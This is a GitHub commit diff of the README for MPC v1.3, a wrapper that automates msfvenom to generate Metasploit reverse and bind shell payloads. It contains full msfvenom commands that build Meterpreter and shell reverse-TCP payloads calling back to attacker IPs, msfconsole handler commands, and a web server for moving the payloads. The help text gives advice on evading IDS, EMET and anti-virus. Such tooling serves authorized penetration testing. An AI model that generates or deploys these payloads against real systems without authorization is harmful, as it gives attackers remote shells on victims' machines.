Skip to content

Commit 007db27

Browse files
g0tmi1kg0tmi1k
committed
v1.3 WAN + Bind/Reverse + tcp/http/https/find_port
+ Add direction: Bind / Reverse + Add method: tcp / http / https/ find_port (& allports) + Add verbose to help screen (with URLs) + Detect & use external/WAN IP address + Display any errors from Metasploit/msfvenom when creating + File stats (md5/sha1/size) when using verbose + Output names include port & direction + Rather than limiting what payloads can be create - always create + This way when Metasploit is updated, the script isn't dated. + Redirect rather than using `-o` (for legacy metasploit versions - Fix for #1)
1 parent 3704861 commit 007db27

File tree

2 files changed

+478
-302
lines changed

2 files changed

+478
-302
lines changed

‎README.md

+86-51
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
A **quick** way to generate various "basic" Meterpreter payloads via msfvenom (part of the Metasploit framework).
22

3-
![Msfvenom Payload Creator (MPC)](https://i.imgur.com/0q41eqR.png)
3+
![Msfvenom Payload Creator (MPC)](https://i.imgur.com/JwSYBRZ.png)
44

55
- - -
66

@@ -9,15 +9,20 @@ A **quick** way to generate various "basic" Meterpreter payloads via msfvenom (p
99
Msfvenom Payload Creator (MPC) is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as **simple as possible** (**only requiring one input**) to produce their payload.
1010

1111
**Fully automating** msfvenom & Metasploit is the end goal _(well as to be be able to automate MPC itself)_.
12-
The rest is to make the user's life as **easy as possible** (e.g. **IP selection menu**, **msfconsole resource file/commands** and a **quick web server** etc).
12+
The rest is to make the user's life as **easy as possible** (e.g. **IP selection menu**, **msfconsole resource file/commands**, **batch payload production** and able to enter **any argument in any order** _(in various formats/patterns)_).
1313

1414
The only necessary input from the user should be **defining the payload** they want by either the **platform** (e.g. `windows`), or the **file extension** they wish the payload to have (e.g. `exe`).
1515

16+
* Can't remember your IP for a interface? Don't sweat it, just use the interface name: `eth0`.
17+
* Don't know what your external IP is? MPC will discover it: `wan`.
18+
* Want to generate one of each payload? No issue! Try: `loop`.
19+
* Want to mass create payloads? Everything? Or to filter your select? ..Either way, its not a problem. Try: `batch` (for everything), `batch msf` (for every Meterpreter option), `batch staged` (for every staged payload), or `batch cmd stageless` (for every stageless command prompt)!
20+
1621
_Note: This will **not** try to bypass any anti-virus solutions._
1722

1823
## Install
1924

20-
* Designed for **Kali Linux 1.1.0a+** & **Metasploit v4.11+** _(nothing else has been tested)_.
25+
* Designed for **Kali Linux v1.1.0a+** & **Metasploit v4.11+** _(nothing else has been tested)_.
2126

2227
```
2328
curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/mpc.sh" > /usr/bin/mpc
@@ -28,17 +33,18 @@ mpc
2833
## Help
2934

3035
``` bash
31-
root@kali:~# mpc
32-
[*] Msfvenom Payload Creator (MPC v1.2)
36+
root@kali:~# mpc -h -v
37+
[*] Msfvenom Payload Creator (MPC v1.3)
3338

34-
[i] /usr/bin/mpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<STAGED/STAGELESS>) (<CMD/MSF>) (<LOOP/BATCH>) (<VERBOSE>)
39+
[i] /usr/bin/mpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
3540
[i] Example: /usr/bin/mpc windows 192.168.1.10 # Windows & manual IP.
3641
[i] /usr/bin/mpc elf eth0 4444 # Linux, eth0's IP & manual port.
3742
[i] /usr/bin/mpc stageless cmd py verbose # Python, stageless command prompt.
3843
[i] /usr/bin/mpc loop eth1 # A payload for every type, using eth1's IP.
39-
[i] /usr/bin/mpc msf batch eth1 # All possible Meterpreter payloads, using eth1's IP.
44+
[i] /usr/bin/mpc msf batch wan # All possible Meterpreter payloads, using WAN IP.
45+
[i] /usr/bin/mpc help verbose # This help screen, with even more information.
4046

41-
[i] <TYPE>: (All reverse TCP payloads)
47+
[i] <TYPE>:
4248
[i] + ASP
4349
[i] + ASPX
4450
[i] + Bash [.sh]
@@ -57,34 +63,55 @@ root@kali:~# mpc
5763

5864
[i] Missing <PORT> will default to 443.
5965

60-
[i] <STAGED> splits the payload into parts, making it smaller but dependant on Metasploit.
61-
[i] <STAGELESS> is the complete standalone payload. More 'stabe' than <STAGELESS>.
62-
[i] Missing <STAGED/STAGELESS> will default to <STAGED>.
63-
[i] Note: Metasploit doesn't (yet!) support <STAGED> for every <TYPE> format.
64-
6566
[i] <CMD> is a standard/native command prompt/terminal to interactive with.
6667
[i] <MSF> is a custom cross platform Meterpreter shell, gaining the full power of Metasploit.
67-
[i] Note: Metasploit doesn't (yet!) support <MSF>/<CMD> for every <TYPE> format.
68-
[i] Missing <CMD/MSF> will default to Meterpreter.
69-
70-
[i] <BATCH> will generate as many combinations as possible: <TYPE>, <STAGED> & <CMD/MSF>.
68+
[i] Missing <CMD/MSF> will default to <MSF> where possible.
69+
[i] Note: Metasploit doesn't (yet!) support <CMD/MSF> for every <TYPE> format.
70+
[i] <CMD> payloads are generally smaller than <MSF> and easier to bypass EMET. Limit Metasploit post modules/scripts support.
71+
[i] <MSF> payloads are generally much larger than <CMD>, as it comes with more features.
72+
73+
[i] <BIND> opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target.
74+
[i] <REVERSE> makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target.
75+
[i] Missing <BIND/REVERSE> will default to <REVERSE>.
76+
[i] <BIND> allows for the attacker to connect whenever they wish. <REVERSE> needs to the target to be repeatedly connecting back to permanent maintain access.
77+
78+
[i] <STAGED> splits the payload into parts, making it smaller but dependent on Metasploit.
79+
[i] <STAGELESS> is the complete standalone payload. More 'stable' than <STAGED>.
80+
[i] Missing <STAGED/STAGELESS> will default to <STAGED> where possible.
81+
[i] Note: Metasploit doesn't (yet!) support <STAGED/STAGELESS> for every <TYPE> format.
82+
[i] <STAGED> are 'better' in low-bandwidth/high-latency environments.
83+
[i] <STAGELESS> are seen as 'stealthier' when bypassing Anti-Virus protections. <STAGED> may work 'better' with IDS/IPS.
84+
[i] More information: https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads
85+
[i] https://www.offensive-security.com/metasploit-unleashed/payload-types/
86+
[i] https://www.offensive-security.com/metasploit-unleashed/payloads/
87+
88+
[i] <TCP> is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs.
89+
[i] <HTTP> makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol - e.g. TCP 80.
90+
[i] <HTTPS> makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol - e.g. TCP 443.
91+
[i] <FIND_PORT> will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to 'allports' based on <TYPE>.
92+
[i] Missing <TCP/HTTP/HTTPS/FIND_PORT> will default to <TCP>.
93+
[i] By altering the traffic, such as <HTTP> and even more <HTTPS>, it will slow down the communication & increase the payload size.
94+
[i] More information: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication
95+
96+
[i] <BATCH> will generate as many combinations as possible: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> & <TCP + HTTP + HTTPS + FIND_PORT>
7197
[i] <LOOP> will just create one of each <TYPE>.
7298

73-
[i] <VERBOSE> will display more information during the process.
99+
[i] <VERBOSE> will display more information.
74100
root@kali:~#
75101
```
76102

77103
## Example \#1 (Windows, Fully Automated With IP)
78104

79105
```bash
80106
root@kali:~# mpc windows 192.168.1.10
81-
[*] Msfvenom Payload Creator (MPC v1.2)
82-
[i] IP: 192.168.1.10
83-
[i] PORT: 443
84-
[i] TYPE: windows (windows/meterpreter_reverse_tcp)
85-
[i] CMD: msfvenom -p windows/meterpreter_reverse_tcp -f exe --platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 -o /root/windows-stageless-meterpreter-443.exe
86-
[i] windows meterpreter created: '/root/windows-stageless-meterpreter-443.exe'
87-
[i] MSF handler file: '/root/windows-stageless-meterpreter-443-exe.rc' (msfconsole -q -r /root/windows-stageless-meterpreter-443-exe.rc)
107+
[*] Msfvenom Payload Creator (MPC v1.3)
108+
[i] IP: 192.168.1.10
109+
[i] PORT: 443
110+
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
111+
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe --platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 > /root/windows-meterpreter-staged-reverse-tcp-443.exe
112+
[i] File (/root/windows-meterpreter-staged-reverse-tcp-443.exe) already exists. Overwriting...
113+
[i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
114+
[i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc' (msfconsole -q -r /root/windows-meterpreter-staged-reverse-tcp-443-exe.rc)
88115
[?] Quick web server for file transfer? python -m SimpleHTTPServer 8080
89116
[*] Done!
90117
root@kali:~#
@@ -94,13 +121,13 @@ root@kali:~#
94121

95122
```bash
96123
root@kali:~# ./mpc elf eth0 4444
97-
[*] Msfvenom Payload Creator (MPC v1.2)
98-
[i] IP: 192.168.103.240
99-
[i] PORT: 4444
100-
[i] TYPE: linux (linux/x86/meterpreter/reverse_tcp)
101-
[i] CMD: msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf --platform linux -a x86 -e generic/none LHOST=192.168.103.240 LPORT=4444 -o /root/linux-staged-meterpreter-4444.elf
102-
[i] linux meterpreter created: '/root/linux-staged-meterpreter-4444.elf'
103-
[i] MSF handler file: '/root/linux-staged-meterpreter-4444-elf.rc' (msfconsole -q -r /root/linux-staged-meterpreter-4444-elf.rc)
124+
[*] Msfvenom Payload Creator (MPC v1.3)
125+
[i] IP: 192.168.103.238
126+
[i] PORT: 4444
127+
[i] TYPE: linux (linux/x86/shell/reverse_tcp)
128+
[i] CMD: msfvenom -p linux/x86/shell/reverse_tcp -f elf --platform linux -a x86 -e generic/none LHOST=192.168.103.238 LPORT=4444 > /root/linux-shell-staged-reverse-tcp-4444.elf
129+
[i] linux shell created: '/root/linux-shell-staged-reverse-tcp-4444.elf'
130+
[i] MSF handler file: '/root/linux-shell-staged-reverse-tcp-4444-elf.rc' (msfconsole -q -r /root/linux-shell-staged-reverse-tcp-4444-elf.rc)
104131
[?] Quick web server for file transfer? python -m SimpleHTTPServer 8080
105132
[*] Done!
106133
root@kali:~#
@@ -109,36 +136,44 @@ root@kali:~#
109136
## Example \#3 (Python Format, Stageless Command Prompt Using Interactive IP Menu)
110137

111138
```bash
112-
root@kali:~# bash mpc.sh stageless cmd py verbose
113-
[*] Msfvenom Payload Creator (MPC v1.2)
139+
root@kali:~# mpc stageless cmd py verbose
140+
[*] Msfvenom Payload Creator (MPC v1.3)
114141

115142
[i] Use which interface/IP address?:
116-
[i] 1.) eth0 - 192.168.103.240
143+
[i] 1.) eth0 - 192.168.103.238
117144
[i] 2.) eth1 - 192.168.155.175
118-
[i] 3.) lo - 127.0.0.1
119-
[?] Select 1-3, interface or IP address: 2
120-
121-
[i] IP: 192.168.155.175
122-
[i] PORT: 443
123-
[i] TYPE: python (python/shell_reverse_tcp)
124-
[i] STAGE: stageless
125-
[i] SHELL: shell
126-
[i] CMD: msfvenom -p python/shell_reverse_tcp -f raw --platform python -e generic/none -a python LHOST=192.168.155.175 LPORT=443 -o /root/python-stageless-shell-443.py
127-
[i] python shell created: '/root/python-stageless-shell-443.py'
128-
[i] MSF handler file: '/root/python-stageless-shell-443-py.rc' (msfconsole -q -r /root/python-stageless-shell-443-py.rc)
145+
[i] 3.) tap0 - 10.10.100.63
146+
[i] 4.) lo - 127.0.0.1
147+
[i] 5.) wan - xx.xx.xx.xx
148+
[?] Select 1-5, interface or IP address: 3
149+
150+
[i] IP: 10.10.100.63
151+
[i] PORT: 443
152+
[i] TYPE: python (python/shell_reverse_tcp)
153+
[i] SHELL: shell
154+
[i] DIRECTION: reverse
155+
[i] STAGE: stageless
156+
[i] METHOD: tcp
157+
[i] CMD: msfvenom -p python/shell_reverse_tcp -f raw --platform python -e generic/none -a python LHOST=10.10.100.63 LPORT=443 > /root/python-shell-stageless-reverse-tcp-443.py
158+
[i] python shell created: '/root/python-shell-stageless-reverse-tcp-443.py'
159+
[i] File: ASCII text, with very long lines, with no line terminators
160+
[i] Size: 4.0K
161+
[i] MD5: 53452eafafe21bff94e6c4621525165b
162+
[i] SHA1: 18641444f084c5fe7e198c29bf705a68b15c2cc9
163+
[i] MSF handler file: '/root/python-shell-stageless-reverse-tcp-443-py.rc' (msfconsole -q -r /root/python-shell-stageless-reverse-tcp-443-py.rc)
129164
[?] Quick web server for file transfer? python -m SimpleHTTPServer 8080
130165
[*] Done!
131166
root@kali:~#
132167
```
168+
_Note: Removed WAN IP._
133169

134-
![Examples](https://i.imgur.com/m4lG23l.png)
170+
![Examples](https://i.imgur.com/r9Qmzda.png)
135171

136172
- - -
137173

138174
## To-Do List
139175

140-
* Display file stats (e.g. file, size, md5/sha1) _Commands are in, just commented out._
141-
* Support different payloads (e.g. `reverse_http`/`reverse_https`, `bind`, `find_port` etc)
176+
* Shellcode generation
142177
* x64 payloads
143-
* external IP/WAN
144-
* _...IPv6 support?_
178+
* IPv6 support
179+
* Look into using OS scripting more _(`powershell_bind_tcp` & `bind_perl` etc)_

0 commit comments

Comments
 (0)